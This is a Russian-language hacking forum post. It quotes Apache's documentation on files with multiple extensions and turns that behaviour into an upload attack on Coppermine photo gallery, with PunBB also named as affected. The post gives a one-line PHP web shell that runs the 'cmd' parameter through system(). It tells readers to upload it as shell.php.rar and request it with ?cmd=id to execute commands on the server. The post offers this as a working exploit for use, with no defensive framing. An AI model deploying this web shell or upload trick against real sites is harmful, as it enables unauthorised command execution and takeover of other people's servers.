В самом популярном веб сервере Apache есть такая фишка цитирую с официальной документации:
_____________________________________________
Files with Multiple Extensions
Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file
welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto
exactly the same information. If more than one extension is given which maps onto the same type of
meta-information, then the one to the right will be used, except for languages and content encodings. For example, if
.gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will
be associated with the MIME-type text/html.
Languages and content encodings are treated accumulative, because one can assign more than one language or
encoding to a particular resource. For example, the file welcome.html.en.de will be delivered with Content-Language:
en, de and Content-Type: text/html.
Care should be taken when a file with multiple extensions gets associated with both a MIME-type and a handler. This
will usually result in the request being by the module associated with the handler. For example, if the .imap
extension is mapped to the handler "imap-file" (from mod_imap) and the .html extension is mapped to the MIME-type
"text/html", then the file world.imap.html will be associated with both the "imap-file" handler and "text/html"
MIME-type. When it is processed, the "imap-file" handler will be used, and so it will be treated as a mod_imap
imagemap file.
________________________________ Конец цитаты.
Ссылка на данный мануал
http://httpd.apache.org/docs/1.3/mod/mod_mime.html.
Переводить не буду кому надо тот поймет.
Вообщем благодаря этому мы можем зделать поддельный файл который будет работать так как нам надо.
Возьмем к примеру скрипт фотогаллереи Coppermine photo gallery.
Так вот там есть возможность закачать свой архив (.rar) тоесть по умолчанию этот тип разширения не записан
в myme.types.
Проверка в скрипте осушевствляеться только по разширению. Берем файл со следуещим содержимым
<?php @system($_GET['cmd']);?>
Задаем ему имя shell.php.rar тоесть разширение у нас правильное и закачиваем в этой галлереи этот самый
файл. Далее обращаемся к нему по абсолютному УРЛ
http://[site path]/shell.php.rar и наш файл работает как
php вот мы и получили шелл на сервере.
http://[site path]/shell.php.rar?cmd=id и команда успешно выполниться.
Вот в принцепи и все.
Затронутые продукты найденные на данный момент PunBB , Coppermine photo gallery.
Автор статьи и подобной уязвимости я.Тоесть Grinay.
Не забываем про репутацию.